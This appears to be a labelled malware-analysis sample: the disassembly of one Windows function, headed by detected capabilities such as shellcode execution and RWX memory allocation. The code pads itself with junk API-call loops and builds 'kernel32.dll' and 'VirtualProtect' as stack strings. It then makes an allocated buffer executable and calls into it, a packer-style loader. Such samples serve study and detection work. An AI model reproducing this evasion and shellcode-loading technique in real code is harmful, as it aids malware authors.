Function at 0x499c80
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2668
call fcn.00407a20
push ebx
mov ebx, dword [esp + 0x48]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x18]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x499cae
call ebp
cmp dword [0x823614], 0x6fb
jne 0x499ccc
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa0a
jle 0x499ce4
cmp edi, 0xc10c98
je 0x499ce4
cmp ebx, 0x952fcbc
jne 0x499ced
inc esi
cmp esi, 0x80c66
jl 0x499ca4
cmp dword [0x823614], 0xcf8
jne 0x499d5d
lea ecx, [esp + 0x28]
push ecx
push 0
push 0x402a84
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x823614], 0x3a
jne 0x499d2e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push 0
call fcn.00402e0c
add esp, 4
push 0
push 0
call fcn.00402cd0
push 0
push 0
call fcn.00402dcc
push 0
push 0
call fcn.00402dcc
push 0
call fcn.00402eca
add esp, 0x1c
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x499d7e
mov eax, 0x5d1
add dword [0x823614], eax
cmp dword [0x823614], 3
jne 0x499daa
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
push 0x402aac
push edx
mov dword [esp + 0x28], edx
call edi
push 0
push 0
lea eax, [esp + 0x680]
push eax
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x499d6b
mov ecx, dword [0x823614]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4a4664], eax
mov eax, dword [0x823614]
xor esi, esi
test eax, eax
je 0x499e14
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edi, edi
cmp eax, 0xfe
jne 0x499deb
push 0
call ebx
call fcn.00499890
mov eax, dword [0x823614]
cmp eax, 0x29
jne 0x499e0f
push 0
push 0
lea edx, [esp + 0x680]
push edx
push 0
call edi
mov eax, dword [0x823614]
inc esi
cmp esi, eax
jb 0x499de0
cmp eax, 0x70
jne 0x499f04
push 0x402ab4
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0x402ac0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x1678]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea ecx, [esp + 0x1e7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea edx, [esp + 0x27c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0x402ae0
push 0x402b00
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea eax, [esp + 0xe80]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
lea ecx, [esp + 0x67c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x823614]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 0xdf
jne 0x49a031
push 0
push 0
push 0
call esi
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x3c]
push ecx
push edx
push edx
lea eax, [esp + 0xe84]
push eax
push edx
mov dword [esp + 0x28], edx
call ebp
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea edx, [esp + 0x40]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea eax, [esp + 0x67c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea ecx, [esp + 0x48]
push ecx
push 0x402b34
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea edx, [esp + 0x1e78]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x823614]
dec dword [esp + 0x18]
jne 0x499f24
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x1ec769f4
lea esp, [esp]
push 0
call edi
push 0
call ebx
dec esi
jne 0x49a050
push 0x49f8d0
mov dword [0x49f8d4], 0x32336c65
mov dword [0x49f8d8], 0x6c6c642e
mov dword [0x49f8d0], 0x6e72656b
mov byte [0x49f8dc], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x823614]
mov edx, dword [0x4a4664]
mov dword [0x823610], eax
lea eax, [esp + 0x1c]
push eax
push 0x40
push ecx
push edx
mov byte [0x49f8db], 0x65
mov dword [0x49f8d1], 0x75747269
mov word [0x49f8d5], 0x6c61
mov byte [0x49f8d0], 0x56
mov word [0x49f8dc], 0x7463
mov byte [0x49f8de], 0
mov dword [0x49f8d7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00499ad0
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp dword [0x823614], 0xba
jne 0x49a127
push 0
lea eax, [esp + 0x67c]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
push 0
lea ecx, [esp + 0x290]
push ecx
push 0x402b58
call edi
cmp esi, 0x2f64
jne 0x49a13a
mov eax, 0
add dword [0x4a4664], eax
inc esi
cmp esi, 0x1605a
jl 0x49a0f1
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
cmp dword [0x823614], 0x85
jne 0x49a16e
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x49a154
mov edx, 0x73
mov eax, 0x6d
mov word [0x82361a], dx
mov word [0x82361e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x823622], cx
mov word [0x82362e], ax
mov word [0x823620], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x823618
mov dword [0x823628], 0x6c0064
mov word [0x82361c], ax
mov word [0x823618], cx
mov word [0x82362c], dx
mov dword [0x823624], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x823614], 0xc30
jne 0x49a2ac
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x138]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x684]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x402ba8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea edx, [esp + 0x27c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
lea ecx, [esp + 0xe7c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edx, [esp + 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [esp + 0x1c]
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret